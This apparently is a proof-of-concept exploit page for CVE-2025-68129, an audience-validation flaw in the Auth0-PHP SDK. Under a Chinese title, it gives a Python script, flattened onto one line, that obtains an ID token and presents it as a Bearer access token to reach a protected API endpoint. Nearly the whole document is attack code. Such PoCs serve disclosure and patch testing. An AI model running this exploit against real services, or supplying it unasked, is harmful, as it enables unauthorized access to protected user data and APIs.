CVE-2025-68129 Auth0-PHP SDK访问令牌验证不当漏洞

# CVE-2025-68129 Proof of Concept # Auth0-PHP SDK Access Token Validation Bypass import requests import json def exploit_cve_2025_68129(): """ This PoC demonstrates the improper audience validation in Auth0-PHP SDK. An attacker can use an ID Token as an Access Token to access protected resources. """ # Configuration AUTH0_DOMAIN = "your-tenant.auth0.com" CLIENT_ID = "your-client-id" API_AUDIENCE = "https://api.your-protected-resource.com" TARGET_API_URL = "https://your-app.com/api/protected-endpoint" # Step 1: Normal authentication to get ID Token auth_url = f"https://{AUTH0_DOMAIN}/authorize" auth_params = { "response_type": "id_token", "client_id": CLIENT_ID, "redirect_uri": "https://your-app.com/callback", "scope": "openid profile email", "nonce": "random-nonce-value" } # In a real attack, user completes authentication via browser # and attacker obtains the ID Token from the callback URL # Step 2: Extract ID Token (normally obtained from callback) id_token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..." # Obtained from auth flow # Step 3: Use ID Token as Access Token to access protected API # Due to improper validation, the vulnerable SDK accepts this headers = { "Authorization": f"Bearer {id_token}" } response = requests.get(TARGET_API_URL, headers=headers) if response.status_code == 200: print("[+] Successfully accessed protected resource using ID Token!") print(f"[+] Response: {response.json()}") else: print(f"[-] Access denied: {response.status_code}") if __name__ == "__main__": print("CVE-2025-68129 - Auth0-PHP SDK Access Token Validation Bypass") print("=" * 60) exploit_cve_2025_68129()